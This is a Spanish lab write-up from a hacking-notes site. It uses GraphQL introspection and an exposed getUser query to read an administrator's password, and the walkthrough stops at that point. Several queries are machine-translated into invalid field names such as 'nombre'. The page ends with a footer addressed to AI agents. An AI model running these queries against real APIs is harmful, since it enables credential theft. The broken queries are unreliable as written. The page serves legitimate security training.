> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/graphql/accidental-exposure-of-private-graphql-fields.md).

# Exposición accidental de campos privados de GraphQL

### Exposición accidental de campos privados de GraphQL

#### Contexto del laboratorio

Las funciones de gestión de usuarios se basan en un **GraphQL** endpoint. El laboratorio contiene un control de acceso débil: es posible **forzar a la API a revelar campos sensibles** (credenciales / contraseñas). / Propósito: **Inicia sesión como administrador** y luego **Eliminar usuario `carlos`**.

#### Consulta GraphQL observada

Una solicitud típica del lado del cliente:

```graphql
{
  "query": "/n    query getBlogPost($id: Int!) {/n        getBlogPost(id: $id) {/n            image/n            title/n            author/n            date/n            paragraphs/n        }/n    }",
  "operationName": "getBlogPost",
  "variables": {
    "id": 1
  }
}
```

<figure><img src="/files/59afb9e8879789c8740d18d96be0fb81a3819ca4" alt=""><figcaption></figcaption></figure>

#### Introspección de GraphQL

La introspección se puede usar mediante un **IntrospectionQuery** (diagrama completo: tipos, solicitudes, mutaciones, etc.). / Solicitud enviada:

```graphql
query IntrospectionQuery {
    __schema {
        queryType {
            nombre
        }
        mutationType {
            nombre
        }
        subscriptionType {
            nombre
        }
        types {
            ...FullType
        }
        directives {
            nombre
            description
            locations
            args {
                ...InputValue
            }
        }
    }
}

fragment FullType on __Type {
    kind
    nombre
    description
    fields(includeDeprecated: true) {
        nombre
        description
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        isDeprecated
        deprecationReason
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        nombre
        description
        isDeprecated
        deprecationReason
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    nombre
    description
    type {
        ...TypeRef
    }
    defaultValue
}

fragment TypeRef on __Type {
    kind
    nombre
    ofType {
        kind
        nombre
        ofType {
            kind
            nombre
            ofType {
                kind
                nombre
            }
        }
    }
}
```

El servidor responde **200 OK**, lo que confirma que la introspección está habilitada.

<figure><img src="/files/df267eb0664ec9362e67d162cf8b83804a971b60" alt=""><figcaption></figcaption></figure>

#### Análisis de solicitudes en el mapa del sitio

Al enviar solicitudes a **Objetivo → Mapa del sitio**, aparecen varias solicitudes (unas 5).

<figure><img src="/files/df0c6ff26c38aa44e76d98e8fd3f34a63bab6ffe" alt=""><figcaption></figcaption></figure>

Destaca una consulta: **`getUser`**.

<figure><img src="/files/655e5f7bde5bc6a8bda3c2f5de843129ba6aa43f" alt=""><figcaption></figcaption></figure>

#### Exposición de campos privados mediante `getUser`

Consulta identificada:

```graphql
{
  "query": "query($id: Int!) {/n  getUser(id: $id) {/n    id/n    username/n    password/n  }/n}",
  "variables": {
    "id": 0
  }
```

<figure><img src="/files/de6547395f5b46cfdfb83222430edaaef56c9f41" alt=""><figcaption></figcaption></figure>

Esta consulta muestra el campo **`contraseña`**.

Versión equivalente de GraphQL:

```graphql
query($id: Int!) {
  getUser(id: $id) {
    id
    username
    contraseña
  }
}
```

Al reemplazar **`id: 0`** por **`id: 1`**, la API devuelve el **username** y los módulos de **contraseña** de `administrator`:

```json
{
  "id": 1
}
```

<figure><img src="/files/68a938f4d8cd7ea59d18b3d4e5f2cd380c4456db" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/graphql/accidental-exposure-of-private-graphql-fields.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
